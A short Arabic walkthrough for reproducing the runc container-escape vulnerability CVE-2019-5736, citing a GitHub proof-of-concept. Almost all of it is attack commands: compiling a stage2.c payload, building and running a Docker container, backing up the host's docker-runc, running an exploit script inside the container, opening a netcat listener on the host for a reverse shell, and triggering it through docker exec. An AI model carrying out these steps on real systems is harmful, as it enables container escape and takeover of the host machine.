- (1). قم بتجميع stage2.c للحصول على الحمولة النهائية.
- (2). أنشئ DockerFile ثم نفّذ docker build -t cve .
- (3). docker run -d -t --name cvetest cve
- (4). انسخ runc الأصلي كنسخة احتياطية باستخدام cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). ادخل إلى الحاوية باستخدام docker exec -it cve /bin/bash.
- (6). داخل docker run نفّذ cd /root && ./run.sh && exit
- (7). على الجهاز المضيف شغّل nc -nlvvp 4455
- (8). في نافذة طرفية أخرى نفّذ docker exec -it cve /bin/bash
المصدر: https://github.com/agppp/cve-2019-5736-poc
شكرًا